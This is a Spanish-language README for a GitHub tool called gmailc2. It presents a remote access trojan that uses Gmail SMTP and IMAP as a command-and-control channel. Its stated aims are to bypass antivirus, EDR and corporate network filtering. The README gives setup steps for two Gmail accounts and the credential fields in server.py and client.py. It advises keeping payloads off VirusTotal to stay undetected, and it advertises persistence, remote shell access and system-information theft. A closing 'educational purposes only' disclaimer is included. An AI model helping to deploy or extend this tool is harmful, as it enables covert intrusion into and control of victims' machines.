machine1337/gmailc2Un servidor C2 completamente indetectable que se comunica a través de Google SMTP para evadir protecciones antivirus y restricciones de tráfico de red.
Un servidor C2 completamente indetectable que se comunica a través de Google SMTP para evadir protecciones antivirus
y restricciones de tráfico de red.
Este RAT se comunica a través de Gmail SMTP (o puedes usar cualquier otro SMTP también), pero Gmail SMTP es válido
porque la mayoría de las empresas bloquean el tráfico desconocido, por lo que el tráfico de Gmail es válido y está permitido en todas partes.
1. No subas ningún payload a VirusTotal.com porque esta herramienta no funcionará
con el tiempo.
2. VirusTotal comparte firmas con las empresas de antivirus.
3. ¡De nuevo, no seas idiota!
1. Crea dos cuentas de Gmail separadas.
2. Ahora habilita SMTP en ambas cuentas (consulta YouTube si no sabes cómo).
3. Supongamos que ya has creado dos cuentas de Gmail separadas con SMTP habilitado:
A -> la primera cuenta representa [email protected]
B -> la segunda cuenta representa [email protected]
4. Ahora ve al archivo server.py y completa lo siguiente en la línea 67:
smtpserver="smtp.gmail.com" (no cambiar esto)
smtpuser="[email protected]"
smtpkey="contraseña_de_aplicación_de_tu_1er_gmail"
imapserver="imap.gmail.com" (no cambiar esto)
imapboy="[email protected]"
5. Ahora ve al archivo client.py y completa lo siguiente en la línea 16:
imapserver = "imap.gmail.com" (no cambiar esto)
username = "[email protected]"
password = "contraseña_de_aplicación_de_tu_2do_gmail"
getting = "[email protected]"
smtpserver = "smtp.gmail.com" (no cambiar esto)
6. Disfruta
*:- Para Windows:-
1. Asegúrate de que python3 y pip estén instalados y también los requisitos.
2. python server.py (en el lado del servidor)
*:- Para Linux:-
1. Asegúrate de que todos los requisitos estén instalados.
2. python3 server.py (en el lado del servidor)
1) Persistencia (escribe persist)
2) Acceso al shell
3) Información del sistema (escribe info)
4) Se añadirán más funciones
1) Relación FUD 0/40
2) Omite cualquier solución EDR
3) Omite cualquier restricción de red
4) Los comandos se envían en Base64 y se decodifican en el lado del servidor
5) No más mierdas de TCP
Usa esta herramienta solo con fines educativos y no seré responsable de tus actos crueles.